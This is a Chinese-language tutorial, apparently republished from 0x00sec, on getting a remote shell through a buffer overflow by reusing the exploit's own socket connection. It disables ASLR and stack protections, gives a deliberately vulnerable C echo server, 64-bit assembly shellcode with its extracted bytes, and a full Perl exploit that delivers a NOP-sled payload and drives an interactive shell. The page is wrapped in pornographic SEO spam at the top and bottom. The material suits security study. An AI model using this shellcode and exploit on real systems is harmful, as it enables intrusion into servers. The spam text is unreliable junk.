成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

遠程漏洞利用:無需借助套接字的Shellcode

安全 漏洞
在本文中,我將介紹一種優雅的技術,來獲得一個shell訪問易受攻擊的遠程機器。雖然這個技術不是我發明的,但我發現它的確很有趣,所以本文的重點是這種技術本身,而不是利用漏洞的具體方式。

前言

在本文中,我將介紹一種優雅的技術,來獲得一個shell訪問易受攻擊的遠程機器。雖然這個技術不是我發明的,但我發現它的確很有趣,所以本文的重點是這種技術本身,而不是利用漏洞的具體方式。

設置環境

為了專注于遠程shell代碼本身,而不是把精力用在如何規避ASLR、非可執行堆棧等防御措施上面,我們將禁用這些安全功能。一旦熟悉了獲取shellcode的方法,可以重新啟用這些保護措施,以進一步練習如何突破這些安全設置。因此,這是一個非常有趣的練習,如果你想練手的話。

首先,我們將禁用ASLR。為此,可以使用以下命令:

  1. echo 0 | sudo tee /proc/sys/kernel/randomize_va_space 

這些設置都是臨時性質的,在下次重新啟動時會全部還原。如果你想要在不重新啟動機器的情況下立即還原所有設置的話,可以使用如下所示的命令:

  1. echo 2 | sudo tee /proc/sys/kernel/randomize_va_space 

為了禁用其余的安全功能,我們可以使用以下選項來編譯帶有安全漏洞的服務器:

  1. -fno-stack-protector -z execstack 

這些選項會禁用堆棧的canarie保護,并賦予堆棧執行權限。這樣的話,我們就得到了一個非常容易利用的環境。

帶有安全漏洞的服務

現在,讓我們編寫一個帶有緩沖區溢出漏洞的小型回顯服務器,這樣我們就可以遠程利用它了。這個程序很簡單,你能發現代碼中的緩沖區溢出漏洞嗎? 你當然可以。

  1. #include <stdio.h> 
  2. #include <string.h> 
  3.    
  4. #include <sys/socket.h> 
  5. #include <netinet/in.h> 
  6. #include <arpa/inet.h> 
  7.    
  8. int 
  9. process_request (int s1, char *reply) 
  10.   char result[256]; 
  11.    
  12.   strcpy (result, reply); 
  13.   write (s1, result, strlen(result)); 
  14.   printf ("Result: %p\n", &result); 
  15.   return 0; 
  16.    
  17. int 
  18. main (int argc, char *argv[]) 
  19.   struct sockaddr_in   server, client; 
  20.   socklen_t            len = sizeof (struct sockaddr_in); 
  21.   int                  s,s1, ops = 1; 
  22.   char                 reply[1024]; 
  23.    
  24.   server.sin_addr.s_addr = INADDR_ANY; 
  25.   server.sin_family = AF_INET; 
  26.   server.sin_port = htons(9000); 
  27.    
  28.   s = socket (PF_INET, SOCK_STREAM, 0); 
  29.   if ((setsockopt (s, SOL_SOCKET, SO_REUSEADDR, &ops, sizeof(ops))) < 0) 
  30.     perror ("pb_server (reuseaddr):"); 
  31.   bind (s, (struct sockaddr *) &server, sizeof (server)); 
  32.   listen (s, 10); 
  33.    
  34.   while (1) 
  35.     { 
  36.       s1 = accept (s, (struct sockaddr *)&client, &len); 
  37.       printf ("Connection from %s\n", inet_ntoa (client.sin_addr)); 
  38.       memset (reply, 0, 1024); 
  39.       read (s1, reply, 1024); 
  40.       process_request (s1, reply); 
  41.       close (s1); 
  42.     } 
  43.   return 0; 

很好,下面我們就來編譯它,讓它變成一個最容易利用的服務器:

  1. gcc -g -fno-stack-protector -z execstack -o target target.c 

下面,我們來展示它的脆弱性。在一個終端運行這個帶有安全漏洞的服務器,然后在另一個終端運行下列命令:

  1. $ perl -e 'print "A"x1024;' | nc localhost 9000 

在運行服務器的終端中,我們將會看到如下所示的內容:

  1. $  ./target 
  2. Connection from 127.0.0.1 
  3. Result: 0x7fffffffdbf0 
  4. Segmentation fault (core dumped) 

注意,我已經添加了打印局部變量的地址的語句,從而可以驗證ASLR是否被禁用。每次執行這個二進制代碼的時候,應該總是看到相同的數字(當然,如果你修改了這個程序,數字就會隨之改變)。

現在,我們可以拿這個程序來練手,學習如何使用各種觸手可及的shellcode來獲取一個本地shell。盡管這個練習非常簡單,但是我們建議您至少要練習一次。具體過程本文不作詳細介紹,因為關于緩沖區溢出漏洞利用的教程,在網絡上面數不勝數。

遠程Shell

下面我們介紹如何獲取遠程shell。注意,這里的關鍵在于“遠程”。這意味著在易受攻擊的機器和攻擊者之間,隔著一個網絡。或者換句話說,我們必須通過一些套接字來發送/接收數據。根據這一要求,有兩種方式可以用來獲得遠程shell:

如果你的shellcode創建一個服務器套接字來啟用來自外部的連接請求,并從本地shell發送和接收數據 ...那么,這就是一個直接遠程shell。

如果你的shellcode連接回一個預先指定的主機,并且這個主機上運行的服務器軟件正在等待受害者的連接...那么,這就這是一個反向遠程shell。

關于這兩種遠程shell的詳細信息,請訪問https://0x00sec.org/t/remote-shells-part-i/269。

看到這兩個定義后,你可能會聯想到RHOST/RPORT之類的變量....是的,它們可以用來告訴payload連接的主機地址和相應的端口。對于反向shell來說,您必須將這些信息存放到payload中,以便連接回來。對于直接shell你通常需要定義端口,服務器就會等待連接。

但是,至少對于Unix機器來說,還有第三種選擇。

連接復用

當執行遠程漏洞利用代碼時,為了利用此漏洞,您已經連接到了服務器...所以,為什么不重用這個已經建立好的連接呢?這真是一個不錯的想法,因為它不會顯示任何會引起受害者懷疑的東西,例如來自服務器未知服務的開放端口等。

實現這一點的方法也非常巧妙。它是基于這樣的事實,即系統是按順序分配文件描述符的。知道了這一點,我們就可以在建立連接之后立即復制一個當前文件的描述符,除非服務器的負載很重,否則我們得到的文件描述符等于用于我們連接的套接字的文件描述符+1,這樣很容易就能知道我們的連接的文件描述符了。

一旦知道了當前連接的文件描述符,我們只需要將它復制到文件描述符0、1和2(stdin、stdout和stderr),就可以生成一個shell了。這樣一來,該shell的所有輸入/輸出都會被重定向到我們的套接字了。

還不明白嗎?肯定沒讀過https://0x00sec.org/t/remote-shells-part-i/269頁面上的文章吧?不過沒關系,現在去看也不晚。

相應的C代碼如下所示:

  1. int sck = dup (0) - 1; // Duplicate stdin 
  2. dup2 (sck, 0); 
  3. dup2 (sck, 1); 
  4. dup2  (sck, 2); 
  5. execv ("/bin/sh"NULL); 

看...根本就沒有使用套接字代碼!如果我們把它變成一個shellcode,并且設法利用遠程服務器的漏洞來運行該代碼,我們就能夠獲得一個shell來訪問遠程機器,而這個shell所使用的連接,正好就是原來向遠程服務器投遞利用代碼的那個連接。

當然,也你已經注意到這種技術存在一些缺點。就像我們所提到的那樣,如果服務器比較繁忙的話(同時建立許多連接),這種方法就很難奏效了。此外,正常的服務器會在變成守護進程之前關閉所有的文件描述符,因此我們可能需要嘗試使用其他值來推測文件描述符。

這個技術是前一段時間跟@_py進行討論的時候,由他想出來的。我們當時檢查的原始代碼可以在這里找到:

  1. http://shell-storm.org/shellcode/files/shellcode-881.php4 

但是,這是一個32位代碼,所以我重新制作了對應的64位版本,以及一個運行漏洞利用代碼的Perl腳本。

64位版本的Shellcode

下面的代碼您就將就著看吧(我這才發現自己的匯編技能真是生銹了),不過它確實可以正常運行,并且只比原來的32bits版本長了3個字節。我的64位版本的Shellcode如下所示:

  1. section .text 
  2. global _start 
  3. _start: 
  4.          ;; s = Dup (0) - 1 
  5.          xor rax, rax 
  6.          push rax 
  7.          push rax 
  8.          push rax 
  9.          pop rsi 
  10.          pop rdx 
  11.          push rax 
  12.          pop rdi 
  13.          mov al, 32 
  14.          syscall                  ; DUP (rax=32) rdi = 0 (dup (0)) 
  15.    
  16.          dec rax 
  17.          push rax 
  18.          pop rdi            ; mov rdi, rax  ; dec rdi 
  19.    
  20.          ;; dup2 (s, 0); dup2(s,1); dup2(s,2) 
  21. loop:        mov al, 33 
  22.          syscall                       ; DUP2 (rax=33) rdi=oldfd (socket) rsi=newfd 
  23.          inc rsi 
  24.          mov rax,rsi 
  25.          cmp al, 2          ; Loop 0,1,2 (stdin, stdout, stderr) 
  26.            
  27.          jne loop 
  28.    
  29.          ;; exec (/bin/sh) 
  30.          push    rdx                             ; NULL 
  31.          mov qword rdi, 0x68732f6e69622f2f    ; "//bin/sh" 
  32.          push         rdi                              ; command 
  33.          push        rsp                      
  34.          pop         rdi                       
  35.            
  36.          push        rdx            ;env 
  37.          pop         rsi             ;args 
  38.            
  39.         mov     al, 0x3b ;EXEC (rax=0x4b) rdi="/bin/sh" rsi=rdx= 
  40.         syscall 

對于不太容易理解的地方,我已經添加了相應的注釋。同時,你可能也注意到了,代碼里使用了許多的push/pop指令,這是因為一個PUSH/POP指令對占用2個字節,而MOV R1,R2指令則需要占用3個字節。雖然這會代碼變得非常丑,但是卻能節約一些空間...實際上也沒有節約太多的地方,所以也算不上一個好主意。無論如何,您可以隨意改進它,并歡迎在評論中發布您自己的版本。

生成Shellcode

現在,我們需要生成相應的shellcode,同時,其格式必須適合將其發送到遠程服務器才行。為此,我們首先需要編譯代碼,然后從編譯的文件中提取機器代碼。編譯代碼非常簡單,具體如下所示:

  1. nasm -f elf64 -o rsh.o rsh.asm 

當然,從目標文件中獲取二進制數據的方法有很多。我們這里使用的方法是生成具有易于添加到Perl或C程序中的格式的字符串。

  1. for i in $(objdump -d rsh.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo 

上面的兩個命令將產生以下shellcode:

  1. \x48\x31\xc0\x50\x50\x50\x5e\x5a\x50\x5f\xb0\x20\x0f\x05\x48\xff\xc8\x50\x5f\xb0\x21\x0f\x05\x48\xff\xc6\x48\x89\xf0\x3c\x02\x75\xf2\x52\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x52\x5e\xb0\x3b\x0f\x05 

接下來,我們就需要開始編寫漏洞利用代碼了。

漏洞利用代碼

目前為止,我們已經搭設了一個帶有遠程利用漏洞的系統。同時,也了解了如何在低安全環境中利用緩沖區溢出漏洞,并生成了一個用于在遠程系統上運行的shellcode。現在我們需要一個漏洞利用代碼,把所有這些整合起來,從而獲得我們夢寐以求的遠程shell。

當然,編寫漏洞利用代碼的語言有很多,不過這里選用的是自己最熟悉的Perl。

我們的漏洞利用代碼具體如下所示:

  1. #!/usr/bin/perl 
  2. use IO::Select
  3. use IO::Socket::INET; 
  4. $|=1; 
  5.    
  6. print "Remote Exploit Example"
  7. print "by 0x00pf for 0x00sec :)\n\n"
  8.    
  9. # You may need to calculate these magic numbers for your system 
  10. $addr = "\x10\xdd\xff\xff\xff\x7f\x00\x00";  
  11. $off = 264; 
  12.    
  13. # Generate the payload 
  14. $shellcode = "\x48\x31\xc0\x50\x50\x50\x5e\x5a\x50\x5f\xb0\x20\x0f\x05\x48\xff\xc8\x50\x5f\xb0\x21\x0f\x05\x48\xff\xc6\x48\x89\xf0\x3c\x02\x75\xf2\x52\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x52\x5e\xb0\x3b\x0f\x05"
  15.    
  16. $nops = $off - length $shellcode; 
  17. $payload = "\x90" x $nops . $shellcode . $addr; 
  18.    
  19. $plen = length $payload; 
  20. $slen = length $shellcode; 
  21. print "SLED $nops Shellcode: $slen Payload size: $plen\n"
  22.    
  23. Connect 
  24. my $socket = new IO::Socket::INET ( 
  25.     PeerHost => '127.0.0.1'
  26.     PeerPort => '9000'
  27.     Proto => 'tcp'
  28.     ); 
  29. Set up select for asynchronous read from the server 
  30. $sel = IO::Select->new( $socket ); 
  31. $sel->add(\*STDIN); 
  32.    
  33. # Exploit! 
  34. $socket->send ($payload); 
  35. $socket->recv ($trash,1024); 
  36. $timeout = .1; 
  37.    
  38. $flag = 1; # Just to show a prompt 
  39.    
  40. # Interact! 
  41. while (1) { 
  42.     if (@ready = $sel->can_read ($timeout))  { 
  43.          foreach $fh (@ready) { 
  44.              $flag =1; 
  45.              if($fh == $socket) { 
  46.                   $socket->recv ($resp, 1024); 
  47.                   print $resp; 
  48.              } 
  49.              else { # It is stdin 
  50.                   $line = <STDIN>; 
  51.                   $socket->send ($line); 
  52.              } 
  53.          } 
  54.     }        
  55.     else { # Show the prompt whenever everything's been read 
  56.          print "0x00pf]>  " if ($flag); 
  57.          $flag = 0; 
  58.     }        

漏洞利用代碼的開頭部分幾乎是標準式的。接下來,根據您利用gdb找出的魔法數字來生成payload(請注意,在您的系統中這些數字可能會有所不同,這樣的話,這個漏洞利用代碼,在您的系統中,可能就會無法正常工作)。

然后,我們必須針對自己的遠程shell進行一些額外的工作。使用直接和反向shell時,一旦漏洞利用代碼執行完畢,我們通常需要使用另一個程序/模塊連接到遠程機器,或接收來自遠程機器的連接。為此,可以使用netcat或您喜歡的滲透測試平臺,甚至是自己專門編寫的工具...

但是,就本地而言,我們將使用已建立的連接來訪問shell,這個連接就是之前用來發送payload的那個。所以我添加了一些代碼,用來從stdin讀取命令,并將它們發送到遠程服務器,同時也從遠程shell讀取數據。這些都是些標準的網絡代碼,實在是沒有什么特別之處。

現在,你可以嘗試一下這個可以獲取遠程shell的漏洞利用代碼了!

小結

在本文中,我們討論了一種巧妙地技術,可以隱秘地獲取shell來遠程訪問易受攻擊的服務器,并且不需要跟系統提供的套接字API打交道。這使得shellcode的開發變得更簡單,也使其更簡潔(例如,你可以跟http://shell-storm.org/shellcode/files/shellcode-858.php2提供的代碼比較一番。

責任編輯:武曉燕 來源: 0x00sec.org
相關推薦

2016-09-29 14:37:39

ImageMagick漏洞分析

2020-10-28 14:58:21

漏洞uTorrent協議層

2023-10-07 08:00:00

JavaScriptHTMX

2009-02-19 15:29:19

2017-08-22 13:45:27

2022-05-06 18:55:29

Java技巧Shellcode

2010-07-06 15:33:10

UDP套接字

2020-10-16 10:30:28

黑客

2014-12-11 09:20:30

TCP

2009-03-10 13:59:41

C#套接字編程

2025-03-25 13:56:17

2010-09-17 16:23:53

分離捆綁后門

2015-03-13 19:15:06

2010-09-25 08:44:34

捆綁后門

2014-10-28 09:11:10

2021-02-05 15:20:06

網絡安全套接字命令

2014-12-15 09:28:54

UDP

2009-08-26 09:48:48

C#異步套接字

2009-08-21 09:20:44

C#異步套接字

2022-06-06 14:17:15

零日漏洞惡意軟件網絡攻擊
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 美女毛片免费看 | 久久se精品一区精品二区 | 美女视频黄的 | av网站在线免费观看 | 精品国产欧美一区二区三区成人 | 99热国产免费 | 欧美激情精品久久久久 | 中文字幕在线观看日韩 | 蜜桃在线一区二区三区 | 午夜精品久久久久久久久久久久 | 日本精品国产 | 国产1区在线 | 精品国产乱码久久久久久蜜柚 | 国产精品国产精品国产专区不片 | 91视频在线看 | 精品无码久久久久久国产 | 久久精品国产一区二区电影 | 久久一区二区三区免费 | 中文字幕综合在线 | 国产97在线看 | 免费一级毛片 | 欧美激情久久久 | 国产精品福利视频 | 宅女噜噜66国产精品观看免费 | 在线观看av网站永久 | 免费看黄视频网站 | 亚洲综合日韩精品欧美综合区 | 99色在线 | 亚洲精品欧美一区二区三区 | 亚洲精品1区 | 97国产超碰 | 日韩精品一区二区三区在线观看 | 夜夜操av | 亚洲精品一区二三区不卡 | 99精品视频在线 | 成人免费在线观看 | 日本不卡一二三 | 一区二区av | 国产成人在线一区二区 | 天天综合干 | 久久激情av|